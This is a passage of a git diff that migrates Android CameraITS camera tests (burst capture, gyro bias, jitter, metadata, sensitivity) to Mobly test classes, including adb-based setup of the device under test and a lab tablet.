+        self.img_w = int(img_size[0])
+        self.img_h = int(img_size[1])
+        self.test_length = float(self.user_params['test_length'])
+        self.rotator_cntl = self.user_params['rotator_cntl']
+        self.rotator_ch = str(self.user_params['rotator_ch'])
+      except KeyError:
+        self.tablet = None
+        logging.debug('Not all arguments set. Manual run.')
+
+    self._setup_devices(num_devices)
+
+  def _setup_devices(self, num):
+    """Sets up each device in parallel if more than one device."""
+    if num not in VALID_NUM_DEVICES:
+      raise AssertionError(
+          f'Incorrect number of devices! Must be in {str(VALID_NUM_DEVICES)}')
+    if num == 1:
+      self.setup_dut(self.dut)
+    else:
+      logic = lambda d: self.setup_dut(d) if d else self.setup_tablet()
+      utils.concurrent_exec(
+          logic, [(self.dut,), (None,)],
+          max_workers=2,
+          raise_on_exception=True)
+
+  def setup_dut(self, device):
+    self.dut.adb.shell(
+        'am start -n com.android.cts.verifier/.CtsVerifierActivity')
+    # Wait for the app screen to appear.
+    time.sleep(WAIT_TIME_SEC)
+
+  def setup_tablet(self):
+    # KEYCODE_POWER to reset dimmer timer. KEYCODE_WAKEUP no effect if ON.
+    self.tablet.adb.shell(['input', 'keyevent', 'KEYCODE_POWER'])
+    time.sleep(TABLET_CMD_DELAY_SEC)
+    self.tablet.adb.shell(['input', 'keyevent', 'KEYCODE_WAKEUP'])
+    time.sleep(TABLET_CMD_DELAY_SEC)
+    # Dismiss keyguard
+    self.tablet.adb.shell(['wm', 'dismiss-keyguard'])
+    time.sleep(TABLET_CMD_DELAY_SEC)
+    # Turn off the adaptive brightness on tablet.
+    self.tablet.adb.shell(
+        ['settings', 'put', 'system', 'screen_brightness_mode',
+         ADAPTIVE_BRIGHTNESS_OFF])
+    # Set the screen brightness
+    self.tablet.adb.shell(
+        ['settings', 'put', 'system', 'screen_brightness',
+         str(self.tablet_screen_brightness)])
+    logging.debug('Tablet brightness set to: %s',
+                  format(self.tablet_screen_brightness))
+    self.tablet.adb.shell('settings put system screen_off_timeout {}'.format(
+        TABLET_DIMMER_TIMEOUT_MS))
+    self.tablet.adb.shell('am force-stop com.google.android.apps.docs')
+
+  def parse_hidden_camera_id(self):
+    """Parse the string of camera ID into an array.
+
+    Returns:
+      Array with camera id and hidden_physical camera id.
+    """
+    camera_id_combo = self.camera.split(its_session_utils.SUB_CAMERA_SEPARATOR)
+    return camera_id_combo
+
+  def determine_not_yet_mandated_tests(self, device_id, scene):
+    """Determine not_yet_mandated tests from NOT_YET_MANDATED list & phone info.
+
+    Args:
+     device_id: string of device id number.
+     scene: scene to which tests belong to.
+
+    Returns:
+       dict of not yet mandated tests
+    """
+    # Initialize not_yet_mandated.
+    not_yet_mandated = {}
+    not_yet_mandated[scene] = []
+
+    # Determine first API level for device.
+    first_api_level = its_session_utils.get_first_api_level(device_id)
+
+    # Determine which test are not yet mandated for first api level.
+    tests = NOT_YET_MANDATED[scene]
+    for [test, first_api_level_mandated] in tests:
+      logging.debug('First API level %s MANDATED: %d',
+                    test, first_api_level_mandated)
+      if first_api_level < first_api_level_mandated:
+        not_yet_mandated[scene].append(test)
+    return not_yet_mandated
+
+  def on_pass(self, record):
+    logging.debug('%s on PASS.', record.test_name)
+
+  def on_fail(self, record):
+    logging.debug('%s on FAIL.', record.test_name)
+    if self.user_params.get('scene'):
+      not_yet_mandated_tests = self.determine_not_yet_mandated_tests(
+          self.dut.serial, self.scene)
+      if self.current_test_info.name in not_yet_mandated_tests[self.scene]:
+        logging.debug('%s is not yet mandated.', self.current_test_info.name)
+        asserts.fail('Not yet mandated test', extras='Not yet mandated test')
+
+
diff --git a/apps/CameraITS/tests/scene0/test_burst_capture.py b/apps/CameraITS/tests/scene0/test_burst_capture.py
index b21884e..c8a6be0 100644
--- a/apps/CameraITS/tests/scene0/test_burst_capture.py
+++ b/apps/CameraITS/tests/scene0/test_burst_capture.py
@@ -11,36 +11,50 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verify capture burst of full size images is fast enough to not timeout.
+"""
 
-import os.path
+import logging
+import os
 
-import its.caps
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_TEST_FRAMES = 15
 
 
-def main():
-    """Test capture a burst of full size images is fast enough to not timeout.
+class BurstCaptureTest(its_base_test.ItsBaseTest):
+  """Test capture a burst of full size images is fast enough and doesn't timeout.
 
-       This test verify that entire capture pipeline can keep up the speed
-       of fullsize capture + CPU read for at least some time.
-    """
-    NAME = os.path.basename(__file__).split(".")[0]
-    NUM_TEST_FRAMES = 15
+  This test verifies that the entire capture pipeline can keep up the speed of
+  fullsize capture + CPU read for at least some time.
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.backward_compatible(props))
-        req = its.objects.auto_capture_request()
-        caps = cam.do_capture([req]*NUM_TEST_FRAMES)
+  def test_burst_capture(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.backward_compatible(props))
+      req = capture_request_utils.auto_capture_request()
+      caps = cam.do_capture([req] * NUM_TEST_FRAMES)
+      cap = caps[0]
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap, props=props)
+      name = os.path.join(self.log_path, NAME)
+      img_name = '%s.jpg' % (name)
+      logging.debug('Image Name: %s', img_name)
+      image_processing_utils.write_image(img, img_name)
 
-        cap = caps[0]
-        img = its.image.convert_capture_to_rgb_image(cap, props=props)
-        img_name = "%s.jpg" % (NAME)
-        its.image.write_image(img, img_name)
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_capture_result_dump.py b/apps/CameraITS/tests/scene0/test_capture_result_dump.py
index 6646557..9e175a3 100644
--- a/apps/CameraITS/tests/scene0/test_capture_result_dump.py
+++ b/apps/CameraITS/tests/scene0/test_capture_result_dump.py
@@ -11,30 +11,39 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""CameraITS test that a capture result is returned from a manual capture.
+"""
 
-import its.caps
-import its.image
-import its.device
-import its.objects
-import its.target
 import pprint
+from mobly import test_runner
 
-def main():
-    """Test that a capture result is returned from a manual capture; dump it.
-    """
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
 
-    with its.device.ItsSession() as cam:
-        # Arbitrary capture request exposure values; image content is not
-        # important for this test, only the metadata.
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.manual_sensor(props))
 
-        req,fmt = its.objects.get_fastest_manual_capture_settings(props)
-        cap = cam.do_capture(req, fmt)
-        pprint.pprint(cap["metadata"])
+class CaptureResultDumpTest(its_base_test.ItsBaseTest):
+  """Test that a capture result is returned from a manual capture and dump it.
+  """
 
-        # No pass/fail check; test passes if it completes.
+  def test_capture_result_dump(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      # Arbitrary capture request exposure values; image content is not
+      # important for this test, only the metadata.
+      props = cam.get_camera_properties()
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props))
+
+      req, fmt = capture_request_utils.get_fastest_manual_capture_settings(
+          props)
+      cap = cam.do_capture(req, fmt)
+      pprint.pprint(cap['metadata'])
+
+      # No pass/fail check; test passes if it completes.
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_gyro_bias.py b/apps/CameraITS/tests/scene0/test_gyro_bias.py
index c860ac8..70904a5 100644
--- a/apps/CameraITS/tests/scene0/test_gyro_bias.py
+++ b/apps/CameraITS/tests/scene0/test_gyro_bias.py
@@ -11,42 +11,52 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verify if the gyro has stable output when device is stationary."""
 
+import logging
 import os
 import time
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 import numpy
 
+import its_base_test
+import camera_properties_utils
+import its_session_utils
+
 NAME = os.path.basename(__file__).split('.')[0]
 N = 20  # Number of samples averaged together, in the plot.
+NSEC_TO_SEC = 1E-9
 MEAN_THRESH = 0.01  # PASS/FAIL threshold for gyro mean drift
 VAR_THRESH = 0.001  # PASS/FAIL threshold for gyro variance drift
 
 
-def main():
-    """Test if the gyro has stable output when device is stationary.
-    """
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        # Only run test if the appropriate caps are claimed.
-        its.caps.skip_unless(its.caps.sensor_fusion(props) and
-            cam.get_sensors().get("gyro"))
+class GyroBiasTest(its_base_test.ItsBaseTest):
+  """Test if the gyro has stable output when device is stationary.
+  """
 
-        print 'Collecting gyro events'
-        cam.start_sensor_events()
-        time.sleep(5)
-        gyro_events = cam.get_sensor_events()['gyro']
+  def test_gyro_bias(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      # Only run test if the appropriate caps are claimed.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.sensor_fusion(props) and
+          cam.get_sensors().get('gyro'))
 
-    nevents = (len(gyro_events) / N) * N
+      logging.debug('Collecting gyro events')
+      cam.start_sensor_events()
+      time.sleep(5)
+      gyro_events = cam.get_sensor_events()['gyro']
+
+    nevents = (len(gyro_events) // N) * N
     gyro_events = gyro_events[:nevents]
-    times = numpy.array([(e['time'] - gyro_events[0]['time'])/1000000000.0
+    times = numpy.array([(e['time'] - gyro_events[0]['time'])*NSEC_TO_SEC
                          for e in gyro_events])
     xs = numpy.array([e['x'] for e in gyro_events])
     ys = numpy.array([e['y'] for e in gyro_events])
@@ -54,25 +64,37 @@
 
     # Group samples into size-N groups and average each together, to get rid
     # of individual random spikes in the data.
-    times = times[N/2::N]
-    xs = xs.reshape(nevents/N, N).mean(1)
-    ys = ys.reshape(nevents/N, N).mean(1)
-    zs = zs.reshape(nevents/N, N).mean(1)
+    times = times[N // 2::N]
+    xs = xs.reshape(nevents // N, N).mean(1)
+    ys = ys.reshape(nevents // N, N).mean(1)
+    zs = zs.reshape(nevents // N, N).mean(1)
+
+    # add y limits so plot doesn't look like amplified noise
+    y_min = min([numpy.amin(xs), numpy.amin(ys), numpy.amin(zs), -MEAN_THRESH])
+    y_max = max([numpy.amax(xs), numpy.amax(ys), numpy.amax(xs), MEAN_THRESH])
 
     pylab.plot(times, xs, 'r', label='x')
     pylab.plot(times, ys, 'g', label='y')
     pylab.plot(times, zs, 'b', label='z')
+    pylab.title(NAME)
     pylab.xlabel('Time (seconds)')
     pylab.ylabel('Gyro readings (mean of %d samples)'%(N))
+    pylab.ylim([y_min, y_max])
+    pylab.ticklabel_format(axis='y', style='sci', scilimits=(-3, -3))
     pylab.legend()
-    matplotlib.pyplot.savefig('%s_plot.png' % (NAME))
+    logging.debug('Saving plot')
+    matplotlib.pyplot.savefig('%s_plot.png' % os.path.join(self.log_path, NAME))
 
     for samples in [xs, ys, zs]:
-        mean = samples.mean()
-        var = numpy.var(samples)
-        assert mean < MEAN_THRESH, 'mean: %.3f, TOL=%.2f' % (mean, MEAN_THRESH)
-        assert var < VAR_THRESH, 'var: %.4f, TOL=%.3f' % (var, VAR_THRESH)
+      mean = samples.mean()
+      var = numpy.var(samples)
+      logging.debug('mean: %.3e', mean)
+      logging.debug('var: %.3e', var)
+      if mean >= MEAN_THRESH:
+        raise AssertionError(f'mean: {mean}.3e, TOL={MEAN_THRESH}')
+      if var >= VAR_THRESH:
+        raise AssertionError(f'var: {var}.3e, TOL={VAR_THRESH}')
+
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_jitter.py b/apps/CameraITS/tests/scene0/test_jitter.py
index 1bc0855..3743cb6 100644
--- a/apps/CameraITS/tests/scene0/test_jitter.py
+++ b/apps/CameraITS/tests/scene0/test_jitter.py
@@ -11,67 +11,88 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""CameraITS test to measure jitter in camera timestamps."""
 
+import logging
 import os.path
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+_NS_TO_MS = 1.0E-6
+_NAME = os.path.basename(__file__).split('.')[0]
+_START_FRAME = 2  # 1 frame delay to allow faster latency to 1st frame
+_TEST_FPS = 30  # frames per second
 # PASS/FAIL thresholds
-TEST_FPS = 30
-MIN_AVG_FRAME_DELTA = 30  # at least 30ms delta between frames
-MAX_VAR_FRAME_DELTA = 0.01  # variance of frame deltas
-MAX_FRAME_DELTA_JITTER = 0.3  # max ms gap from the average frame delta
-
-NAME = os.path.basename(__file__).split('.')[0]
+_MIN_AVG_FRAME_DELTA = 30  # at least 30ms delta between frames
+_MAX_INIT_FRAME_DELTA = 100  # no more than 100ms between first 2 frames
+_MAX_VAR_FRAME_DELTA = 0.01  # variance of frame deltas
+_MAX_FRAME_DELTA_JITTER = 0.3  # max ms gap from the average frame delta
 
 
-def main():
-    """Measure jitter in camera timestamps."""
+class JitterTest(its_base_test.ItsBaseTest):
+  """Measure jitter in camera timestamps."""
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.manual_sensor(props) and
-                             its.caps.sensor_fusion(props))
+  def test_jitter(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.sensor_fusion(props))
 
-        req, fmt = its.objects.get_fastest_manual_capture_settings(props)
-        req["android.control.aeTargetFpsRange"] = [TEST_FPS, TEST_FPS]
-        caps = cam.do_capture([req]*50, [fmt])
+      req, fmt = capture_request_utils.get_fastest_manual_capture_settings(
+          props)
+      req['android.control.aeTargetFpsRange'] = [_TEST_FPS, _TEST_FPS]
+      caps = cam.do_capture([req] * 50, [fmt])
 
-        # Print out the millisecond delta between the start of each exposure
-        tstamps = [c['metadata']['android.sensor.timestamp'] for c in caps]
-        deltas = [tstamps[i]-tstamps[i-1] for i in range(1, len(tstamps))]
-        deltas_ms = [d/1000000.0 for d in deltas]
-        avg = sum(deltas_ms) / len(deltas_ms)
-        var = sum([d*d for d in deltas_ms]) / len(deltas_ms) - avg * avg
-        range0 = min(deltas_ms) - avg
-        range1 = max(deltas_ms) - avg
-        print 'Average:', avg
-        print 'Variance:', var
-        print 'Jitter range:', range0, 'to', range1
+      # Log the millisecond delta between the start of each exposure
+      tstamps = [c['metadata']['android.sensor.timestamp'] for c in caps]
+      if (tstamps[1]-tstamps[0])*_NS_TO_MS > _MAX_INIT_FRAME_DELTA:
+        raise AssertionError('Initial frame timestamp delta too great! '
+                             f'tstamp[1]: {tstamps[1]}ms, '
+                             f'tstamp[0]: {tstamps[0]}ms, '
+                             f'ATOL: {_MAX_INIT_FRAME_DELTA}ms')
+      deltas = [
+          tstamps[i] - tstamps[i-1] for i in range(_START_FRAME, len(tstamps))
+      ]
+      deltas_ms = [d * _NS_TO_MS for d in deltas]
+      avg = sum(deltas_ms) / len(deltas_ms)
+      var = sum([d * d for d in deltas_ms]) / len(deltas_ms) - avg * avg
+      range0 = min(deltas_ms) - avg
+      range1 = max(deltas_ms) - avg
 
-        # Draw a plot.
-        pylab.plot(range(len(deltas_ms)), deltas_ms)
-        pylab.title(NAME)
-        pylab.xlabel('frame number')
-        pylab.ylabel('jitter (ms)')
-        matplotlib.pyplot.savefig('%s_deltas.png' % (NAME))
+      logging.debug('Average: %s', avg)
+      logging.debug('Variance: %s', var)
+      logging.debug('Jitter range: %s to %s', range0, range1)
 
-        # Test for pass/fail.
-        emsg = 'avg: %.4fms, TOL: %.fms' % (avg, MIN_AVG_FRAME_DELTA)
-        assert avg > MIN_AVG_FRAME_DELTA, emsg
-        emsg = 'var: %.4fms, TOL: %.2fms' % (var, MAX_VAR_FRAME_DELTA)
-        assert var < MAX_VAR_FRAME_DELTA, emsg
-        emsg = 'range0: %.4fms, range1: %.4fms, TOL: %.2fms' % (
-                range0, range1, MAX_FRAME_DELTA_JITTER)
-        assert abs(range0) < MAX_FRAME_DELTA_JITTER, emsg
-        assert abs(range1) < MAX_FRAME_DELTA_JITTER, emsg
+      # Draw a plot.
+      pylab.plot(range(len(deltas_ms)), deltas_ms)
+      pylab.title(_NAME)
+      pylab.xlabel('frame number')
+      pylab.ylabel('jitter (ms)')
+      name = os.path.join(self.log_path, _NAME)
+      matplotlib.pyplot.savefig('%s_deltas.png' % (name))
+
+      # Test for pass/fail.
+      if avg <= _MIN_AVG_FRAME_DELTA:
+        raise AssertionError(f'avg: {avg:.4f}ms, TOL: {_MIN_AVG_FRAME_DELTA}ms')
+      if var >= _MAX_VAR_FRAME_DELTA:
+        raise AssertionError(f'var: {var:.4f}ms, TOL: {_MAX_VAR_FRAME_DELTA}ms')
+      if (abs(range0) >= _MAX_FRAME_DELTA_JITTER or
+          abs(range1) >= _MAX_FRAME_DELTA_JITTER):
+        raise AssertionError(f'range0: {range0:.4f}ms, range1: {range1:.4f}ms, '
+                             f'TOL: {_MAX_FRAME_DELTA_JITTER}')
+
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index a3c91ac..b0995a7 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -11,127 +11,156 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""CameraITS test to verify metadata entries."""
 
+import logging
 import math
 
-import its.caps
-import its.device
-import its.objects
-import its.target
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
 
 
-def main():
-    """Test the validity of some metadata entries.
+class MetadataTest(its_base_test.ItsBaseTest):
+  """Test the validity of some metadata entries.
 
-    Looks at capture results and at the camera characteristics objects.
-    """
-    global md, props, failed
+  Looks at the capture results and at the camera characteristics objects.
+  """
 
-    with its.device.ItsSession() as cam:
-        # Arbitrary capture request exposure values; image content is not
-        # important for this test, only the metadata.
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.backward_compatible(props))
-        auto_req = its.objects.auto_capture_request()
-        cap = cam.do_capture(auto_req)
-        md = cap["metadata"]
+  def test_metadata(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      # Arbitrary capture request exposure values; image content is not
+      # important for this test, only the metadata.
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.backward_compatible(props))
+      auto_req = capture_request_utils.auto_capture_request()
+      cap = cam.do_capture(auto_req)
+      md = cap['metadata']
+      self.failed = False
+      logging.debug('Hardware level')
+      logging.debug('Legacy: %s', camera_properties_utils.legacy(props))
 
-    print "Hardware level"
-    print "  Legacy:", its.caps.legacy(props)
-    print "  Limited:", its.caps.limited(props)
-    print "  Full or better:", its.caps.full_or_better(props)
-    print "Capabilities"
-    print "  Manual sensor:", its.caps.manual_sensor(props)
-    print "  Manual post-proc:", its.caps.manual_post_proc(props)
-    print "  Raw:", its.caps.raw(props)
-    print "  Sensor fusion:", its.caps.sensor_fusion(props)
+      logging.debug('Limited: %s', camera_properties_utils.limited(props))
+      logging.debug('Full or better: %s',
+                    camera_properties_utils.full_or_better(props))
+      logging.debug('Level 3: %s', camera_properties_utils.level3(props))
+      logging.debug('Capabilities')
+      logging.debug('Manual sensor: %s',
+                    camera_properties_utils.manual_sensor(props))
+      logging.debug('Manual post-proc: %s',
+                    camera_properties_utils.manual_post_proc(props))
+      logging.debug('Raw: %s', camera_properties_utils.raw(props))
+      logging.debug('Sensor fusion: %s',
+                    camera_properties_utils.sensor_fusion(props))
 
-    # Test: hardware level should be a valid value.
-    check('props.has_key("android.info.supportedHardwareLevel")')
-    check('props["android.info.supportedHardwareLevel"] is not None')
-    check('props["android.info.supportedHardwareLevel"] in [0,1,2,3]')
-    manual_sensor = its.caps.manual_sensor(props)
+      check(self, 'android.info.supportedHardwareLevel' in props,
+            'android.info.supportedHardwareLevel in props')
+      check(self, props['android.info.supportedHardwareLevel'] is not None,
+            'props[android.info.supportedHardwareLevel] is not None')
+      check(self, props['android.info.supportedHardwareLevel'] in [0, 1, 2, 3],
+            'props[android.info.supportedHardwareLevel] in [0, 1, 2, 3]')
+      manual_sensor = camera_properties_utils.manual_sensor(props)
+      # Test: rollingShutterSkew, and frameDuration tags must all be present,
+      # and rollingShutterSkew must be greater than zero and smaller than all
+      # of the possible frame durations.
+      if manual_sensor:
+        check(self, 'android.sensor.frameDuration' in md,
+              'md.has_key("android.sensor.frameDuration")')
+        check(self, md['android.sensor.frameDuration'] is not None,
+              'md["android.sensor.frameDuration"] is not None')
+        check(self, md['android.sensor.rollingShutterSkew'] > 0,
+              'md["android.sensor.rollingShutterSkew"] > 0')
+        check(self, md['android.sensor.frameDuration'] > 0,
+              'md["android.sensor.frameDuration"] > 0')
+        check(
+            self, md['android.sensor.rollingShutterSkew'] <=
+            md['android.sensor.frameDuration'],
+            ('md["android.sensor.rollingShutterSkew"] <= '
+             'md["android.sensor.frameDuration"]'))
+        logging.debug('frameDuration: %d ns',
+                      md['android.sensor.frameDuration'])
 
-    # Test: rollingShutterSkew, and frameDuration tags must all be present,
-    # and rollingShutterSkew must be greater than zero and smaller than all
-    # of the possible frame durations.
-    if manual_sensor:
-        check('md.has_key("android.sensor.frameDuration")')
-        check('md["android.sensor.frameDuration"] is not None')
-    check('md.has_key("android.sensor.rollingShutterSkew")')
-    check('md["android.sensor.rollingShutterSkew"] is not None')
-    if manual_sensor:
-        check('md["android.sensor.rollingShutterSkew"] > 0')
-        check('md["android.sensor.frameDuration"] > 0')
+      check(self, 'android.sensor.rollingShutterSkew' in md,
+            'md.has_key("android.sensor.rollingShutterSkew")')
+      check(self, md['android.sensor.rollingShutterSkew'] is not None,
+            'md["android.sensor.rollingShutterSkew"] is not None')
+      logging.debug('rollingShutterSkew: %d ns',
+                    md['android.sensor.rollingShutterSkew'])
 
-    # Test: timestampSource must be a valid value.
-    check('props.has_key("android.sensor.info.timestampSource")')
-    check('props["android.sensor.info.timestampSource"] is not None')
-    check('props["android.sensor.info.timestampSource"] in [0,1]')
+      # Test: timestampSource must be a valid value.
+      check(self, 'android.sensor.info.timestampSource' in props,
+            'props.has_key("android.sensor.info.timestampSource")')
+      check(self, props['android.sensor.info.timestampSource'] is not None,
+            'props["android.sensor.info.timestampSource"] is not None')
+      check(self, props['android.sensor.info.timestampSource'] in [0, 1],
+            'props["android.sensor.info.timestampSource"] in [0,1]')
 
-    # Test: croppingType must be a valid value, and for full devices, it
-    # must be FREEFORM=1.
-    check('props.has_key("android.scaler.croppingType")')
-    check('props["android.scaler.croppingType"] is not None')
-    check('props["android.scaler.croppingType"] in [0,1]')
+      # Test: croppingType must be a valid value, and for full devices, it
+      # must be FREEFORM=1.
+      check(self, 'android.scaler.croppingType' in props,
+            'props.has_key("android.scaler.croppingType")')
+      check(self, props['android.scaler.croppingType'] is not None,
+            'props["android.scaler.croppingType"] is not None')
+      check(self, props['android.scaler.croppingType'] in [0, 1],
+            'props["android.scaler.croppingType"] in [0,1]')
 
-    # Test: android.sensor.blackLevelPattern exists for RAW and is not None
-    if its.caps.raw(props):
-        check('props.has_key("android.sensor.blackLevelPattern")')
-        check('props["android.sensor.blackLevelPattern"] is not None')
+      # Test: android.sensor.blackLevelPattern exists for RAW and is not None
+      if camera_properties_utils.raw(props):
+        check(self, 'android.sensor.blackLevelPattern' in props,
+              'props.has_key("android.sensor.blackLevelPattern")')
+        check(self, props['android.sensor.blackLevelPattern'] is not None,
+              'props["android.sensor.blackLevelPattern"] is not None')
 
-    assert not failed
+      assert not self.failed
 
-    if not its.caps.legacy(props):
+      if not camera_properties_utils.legacy(props):
         # Test: pixel_pitch, FOV, and hyperfocal distance are reasonable
-        fmts = props["android.scaler.streamConfigurationMap"]["availableStreamConfigurations"]
-        fmts = sorted(fmts, key=lambda k: k["width"]*k["height"], reverse=True)
-        sensor_size = props["android.sensor.info.physicalSize"]
-        pixel_pitch_h = (float(sensor_size["height"]) / fmts[0]["height"] * 1E3)
-        pixel_pitch_w = (float(sensor_size["width"]) / fmts[0]["width"] * 1E3)
-        print "Assert pixel_pitch WxH: %.2f um, %.2f um" % (pixel_pitch_w,
-                                                            pixel_pitch_h)
+        fmts = props['android.scaler.streamConfigurationMap'][
+            'availableStreamConfigurations']
+        fmts = sorted(
+            fmts, key=lambda k: k['width'] * k['height'], reverse=True)
+        sensor_size = props['android.sensor.info.physicalSize']
+        pixel_pitch_h = (sensor_size['height'] / fmts[0]['height'] * 1E3)
+        pixel_pitch_w = (sensor_size['width'] / fmts[0]['width'] * 1E3)
+        logging.debug('Assert pixel_pitch WxH: %.2f um, %.2f um', pixel_pitch_w,
+                      pixel_pitch_h)
         assert 0.7 <= pixel_pitch_w <= 10
         assert 0.7 <= pixel_pitch_h <= 10
         assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
 
-        diag = math.sqrt(sensor_size["height"] ** 2 +
-                         sensor_size["width"] ** 2)
-        fl = md["android.lens.focalLength"]
+        diag = math.sqrt(sensor_size['height']**2 + sensor_size['width']**2)
+        fl = md['android.lens.focalLength']
+        logging.debug('Focal length: %.3f', fl)
         fov = 2 * math.degrees(math.atan(diag / (2 * fl)))
-        print "Assert field of view: %.1f degrees" % fov
+        logging.debug('Assert field of view: %.1f degrees', fov)
         assert 10 <= fov <= 130
 
-        if its.caps.lens_approx_calibrated(props):
-            diopter_hyperfocal = props["android.lens.info.hyperfocalDistance"]
-            if diopter_hyperfocal != 0.0:
-                hyperfocal = 1.0 / diopter_hyperfocal
-                print "Assert hyperfocal distance: %.2f m" % hyperfocal
-                assert 0.02 <= hyperfocal
+        if camera_properties_utils.lens_approx_calibrated(props):
+          diopter_hyperfocal = props['android.lens.info.hyperfocalDistance']
+          if diopter_hyperfocal != 0.0:
+            hyperfocal = 1.0 / diopter_hyperfocal
+            logging.debug('Assert hyperfocal distance: %.2f m', hyperfocal)
+            assert 0.02 <= hyperfocal
+
+        logging.debug('Minimum focus distance: %3.f',
+                      props['android.lens.info.minimumFocusDistance'])
 
 
-def getval(expr, default=None):
-    try:
-        return eval(expr)
-    except:
-        return default
+def check(self, expr, msg):
+  if expr:
+    logging.debug('Passed>>%s', msg)
+  else:
+    logging.debug('Failed>>%s', msg)
+    self.failed = True
 
-failed = False
-
-
-def check(expr):
-    global md, props, failed
-    try:
-        if eval(expr):
-            print "Passed>", expr
-        else:
-            print "Failed>>", expr
-            failed = True
-    except:
-        print "Failed>>", expr
-        failed = True
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
index 7923f95..863ffbc 100644
--- a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
+++ b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
@@ -11,45 +11,57 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""CameraITS test to see sensitivity param applied properly in burst or not.
+"""
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
 
 NUM_STEPS = 3
 ERROR_TOLERANCE = 0.96  # Allow ISO to be rounded down by 4%
 
 
-def main():
-    """Test android.sensor.sensitivity parameter applied properly in burst.
+class ParamSensitivityBurstTest(its_base_test.ItsBaseTest):
+  """Test android.sensor.sensitivity parameter applied properly in burst.
 
-    Inspects the output metadata only (not the image data).
-    """
+  Inspects the output metadata only (not the image data).
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.manual_sensor(props) and
-                             its.caps.per_frame_control(props))
+  def test_param_sensitivity_burst(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props))
 
